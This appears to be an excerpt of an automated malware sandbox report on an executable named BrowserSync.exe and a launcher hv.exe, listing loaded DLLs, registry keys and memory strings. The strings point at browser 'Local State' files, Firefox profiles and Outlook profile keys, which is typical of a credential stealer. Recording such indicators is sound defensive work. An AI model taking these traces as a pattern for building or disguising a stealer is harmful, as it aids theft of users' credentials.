Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CACAF262-9370-4615-A13B-9F5539DA4C0A}\InProcServer32

Jump to behavior

Source: hcbghcccidepql.4.dr

LNK file: ..\..\Roaming\HW_Wordpad_debug\hv.exe

Source: C:\Users\user\AppData\Local\Temp\Caret\hv.exe

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\BrowserSync.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: cLm7ThwEvh.msi

Static file information: File size 9654272 > 1048576

Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\ source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2614399342.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\Local State source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbOAo source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\cs source: BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini source: BrowserSync.exe, 0000000D.00000003.2547284422.0000000002E68000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227337735.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225793499.0000000002E55000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226146685.0000000002E55000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdbUAa source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E94000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: WC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\\user\AppData\Local source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: J\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\Local State source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: jC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: F\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\Local StateAlarmse' source: BrowserSync.exe, 0000000D.00000003.2520670917.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2547829303.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227158198.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2382779317.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2611783328.0000000002E72000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2552423062.0000000002E73000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2363632058.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2404392590.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2449111501.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228308488.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2426203023.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2513715789.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2225575285.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2226416129.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2227953423.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2512944879.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2523269770.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2228805529.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2318257220.0000000002E6C000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2597013306.0000000002E76000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: hv.exe, 00000002.00000002.1734440939.000000000C510000.00000004.00000800.00020000.00000000.sdmp, hv.exe, 00000002.00000002.1720564201.00000000038BE000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075844435.0000000005DC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075392368.00000000054E2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2292539694.0000000005520000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291371439.0000000004C52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: od.pdb\Local State source: BrowserSync.exe, 0000000D.00000002.2646067446.0000000002E71000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2614399342.0000000002E71000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: D:\a\pdfium-binaries\pdfium-binaries\pdfium\out\pdfium.dll.pdb source: hv.exe, 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmp, hv.exe, 00000002.00000003.1704222758.000000000C9E3000.00000004.00000001.00020000.00000000.sdmp, hv.exe, 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmp, hv.exe, 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: ntdll.pdbUGP source: BrowserSync.exe, 0000000D.00000002.2648231436.0000000004473000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2648470315.0000000004679000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2649410552.0000000004E7D000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2651594973.000000000607F000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2648896945.0000000004A70000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2652175456.0000000006473000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2647817966.0000000004073000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2651958482.0000000006272000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2645505291.0000000002C20000.00000004.00001000.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2650143804.000000000547B000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2648025113.0000000004272000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2644695846.00000000022B5000.00000004.00000020.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2649204832.0000000004C74000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2647371318.0000000003C70000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000002.2651271410.0000000005E74000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: hv.exe, 00000002.00000002.1734440939.000000000C510000.00000004.00000800.00020000.00000000.sdmp, hv.exe, 00000002.00000002.1720564201.00000000038BE000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075844435.0000000005DC0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2075392368.00000000054E2000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2292539694.0000000005520000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000000B.00000002.2291371439.0000000004C52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: h\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2224243569.0000000002E7A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini* source: BrowserSync.exe, 0000000D.00000003.2547284422.0000000002E68000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini source: BrowserSync.exe, 0000000D.00000003.2547284422.0000000002E68000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: v\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: BrowserSync.exe, 0000000D.00000003.2224730322.0000000002E94000.00000004.00000001.00020000.00000000.sdmp
